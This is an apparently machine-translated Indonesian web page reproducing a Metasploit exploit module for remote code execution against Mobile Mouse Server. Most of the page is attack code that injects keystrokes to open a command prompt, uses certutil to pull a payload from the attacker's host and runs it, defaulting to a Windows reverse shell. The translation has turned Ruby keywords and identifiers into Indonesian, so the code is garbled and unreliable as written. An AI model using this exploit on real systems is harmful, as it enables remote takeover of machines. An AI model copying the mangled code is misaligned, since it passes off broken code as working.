Eksekusi Kode Jarak Jauh Mouse Seluler

  • Whatsapp
log4j-scan Pemindai Luas
logj scan Pemindai Luas

News.nextcloud.asia

##
# Modul ini membutuhkan Metasploit: https://metasploit.com/download
# Sumber saat ini: https://github.com/rapid7/metasploit-framework
##

kelas MetasploitModule < Msf::Eksploitasi::Remote
Peringkat = Peringkat Normal

termasuk Eksploitasi::Remote::Tcp
sertakan Exploit::EXE # generate_payload_exe
sertakan Msf::Eksploitasi::Remote::HttpServer::HTML
termasuk Msf::Eksploitasi::FileDropper
tambahkan Msf::Eksploitasi::Remote::AutoCheck

def inisialisasi(info = {})
super(
informasi terbaru(
informasi,
‘Nama’ => ‘Mobile Mouse RCE’,
‘Deskripsi’ => %q{
Modul ini menggunakan Mobile Mouse Server oleh protokol RPA Technologies, Inc
untuk menyebarkan muatan dan menjalankannya dari server. Modul ini hanya akan disebarkan
payload jika server diatur tanpa kata sandi (default).
Diuji terhadap 3.6.0.4, arus pada saat penulisan modul
},
‘Lisensi’ => MSF_LICENSE,
‘Penulis’ => [
‘h00die’, # msf module
‘CHOKRI HAMMEDI’ # edb
],
‘Referensi’ => [
[ ‘EDB’, ‘51010’ ],
[ ‘URL’, ‘https://mobilemouse.com/’ ],
],
‘Lengkungan’ => [ ARCH_X64, ARCH_X86 ],
‘Platform’ => ‘menang’,
‘Sikap’ => Msf::Eksploitasi::Sikap::Agresif,
‘Target’ => [
[‘default’, {}],
],
‘Muatan’ => {
‘BadChars’ => “\x04\x1E”
},
‘Opsi Default’ => {
‘PAYLOAD’ => ‘windows/shell/reverse_tcp’
},
‘DisclosureDate’ => ‘2022-09-20’,
‘Target Default’ => 0,
‘Catatan’ => {
‘Stabilitas’ => [CRASH_SAFE],
‘Keandalan’ => [REPEATABLE_SESSION],
‘Efek Samping’ => [ARTIFACTS_ON_DISK] # mengetik di layar
}
)
)
daftar_pilihan(
[
OptPort.new(‘RPORT’, [true, ‘Port Mobile Mouse runs on’, 9099]),
OptInt.new(‘TIDUR’, [true, ‘How long to sleep between commands’, 3]),
OptString.new(‘JALAN’, [true, ‘Where to stage payload for pull method’, ‘c:\\Windows\\Temp\\’]),
OptString.new(‘NAMA KLIEN’, [false, ‘Name of client, this shows up in the logs’, ”]),
]
)
akhir

jalur def
kembalikan penyimpanan data[‘PATH’] jika penyimpanan data[‘PATH’].berakhir dengan? ‘\\’

“#{penyimpanan data[‘PATH’]}\\”
akhir

def connect_command
connect_command = ‘CONNECT’ # 434F4E4E454354
connect_command << "\x1E\x1E"
connect_command << @nama_klien
connect_command << "\x1E"
connect_command << 'iPhone' # 6950686F6E65
connect_command << "\x1E"
# 2,2 berikutnya mungkin semacam nomor versi
connect_command << '2' # 32
connect_command << "\x1E"
connect_command << '2' # 32
connect_command << "\x1E\x04"
sock.put(koneksi_perintah)
tidur (penyimpanan data[‘SLEEP’])
akhir

def open_command_prompt
open_command_prompt=”KEY” # 4b4559
open_command_Prompt << "\x1E"
open_command_Prompt << '114' # 313134 kunci windows?
open_command_Prompt << "\x1E"
open_command_Prompt << 'r' # 72
open_command_Prompt << "\x1E"
open_command_Prompt << 'OPT' # 4f5054
open_command_Prompt << "\x04"
sock.put(open_command_Prompt)
tidur (penyimpanan data[‘SLEEP’])
akhir

def script_content(muatan)
script_content=”KEY” # 4B4559
script_content << "\x1E"
script_content << '100' # 313030
script_content << "\x1E"
script_content << payload
script_content << "\x1E\x04"
script_content << 'KUNCI' # 4B4559
script_content << "\x1E"
script_content << '-1' # 2d31
script_content << "\x1E"
script_content << 'ENTER' # 454e544552
script_content << "\x1E\x04"
sock.put(script_content)
tidur (penyimpanan data[‘SLEEP’])
akhir

def on_request_uri(cli, _req)
p = generate_payload_exe
send_response(cli, p)
print_good(“Permintaan payload diterima, mengirimkan #{p.length} byte payload untuk staging”)
akhir

cek def
jika penyimpanan data[‘CLIENTNAME’].kosong?
@client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
print_status(“Nama klien disetel ke: #{@client_name}”)
kalau tidak
@nama_klien = penyimpanan data[‘CLIENTNAME’]
akhir

Menghubung

print_status(‘Tersambung’)
connect_command
res = sock.get_once
jika res.nil?
return CheckCode::Unknown(‘Tidak ada respon yang diterima dari target’)
akhir

memutuskan

res = res.split(“\x1E”)
jika res[1] == ‘TIDAK’
return CheckCode::Safe(“Tidak dapat terhubung, respons server: #{res[4]}”)
akhir

CheckCode::Appears(“Terhubung ke hostname #{res[3]} dengan alamat MAC #{res[5]}”)
akhir

def mengeksploitasi
jika penyimpanan data[‘CLIENTNAME’].kosong?
@client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s
print_status(“Nama klien disetel ke: #{@client_name}”)
kalau tidak
@nama_klien = penyimpanan data[‘CLIENTNAME’]
akhir

Menghubung

print_status(‘Tersambung’)
connect_command
res = sock.get_once
jika res.nil?
fail_with(Kegagalan::Terputus, ‘Tidak ada respons yang diterima dari target’)
akhir

res = res.split(“\x1E”)
jika res[1] == ‘TIDAK’
fail_with(Failure::NoAccess, “Tidak dapat terhubung, respons server: #{res[4]}”)
akhir
vprint_good(“Terhubung ke hostname #{res[3]} dengan alamat MAC #{res[5]}”)

print_status(‘Membuka Prompt Perintah’)
open_command_prompt
# untuk alasan apa pun, jika kami tidak membaca di sini server tidak ingin terus bermain dengan kami, jadi baca tetapi buang
sock.get_once

print_status(‘Mengirim pemain’)
nama file = Rex::Text.rand_text_alphanumeric(rand(8..17)) + ‘.exe’
register_file_for_cleanup(“#{path}#{filename}”)
# Saya mencoba untuk menempatkan ini semua dalam satu, panggung, lari, keluar, tetapi tidak pernah berhasil, jadi kami akan menyimpannya di 2
stager = “certutil.exe -urlcache -f http://#{datastore[‘lhost’]}:#{penyimpanan data[‘SRVPORT’]}/ #{path}#{nama file}”
start_service(‘Path’ => ‘/’) # mulai server web
script_content(pemanggung)

print_status(‘Membuka Command Prompt lagi’)
open_command_prompt
print_status(‘Melaksanakan muatan’)
script_content(“#{path}#{filename} && keluar”)

pawang
memutuskan
tidur (penyimpanan data[‘SLEEP’] * 2) # beri waktu untuk melakukan tugasnya sebelum kita kembali
akhir
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *